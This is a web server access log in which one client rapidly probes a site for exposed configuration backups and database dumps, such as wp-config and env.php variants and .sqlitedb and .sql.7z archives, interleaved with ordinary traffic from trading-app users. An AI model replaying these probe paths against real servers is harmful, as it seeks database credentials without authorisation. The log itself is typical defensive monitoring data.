[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.txt HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.txt HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927775108 HTTP/1.1" -
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927773005 HTTP/1.1" -
[09/Jan/2026:10:58:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927788228 HTTP/1.1" -
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:58:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927780241 HTTP/1.1" -
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927778039 HTTP/1.1" -
[09/Jan/2026:10:58:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.disabled HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.original HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927794228 HTTP/1.1" -
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.original HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:58:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.original HTTP/1.1" 196
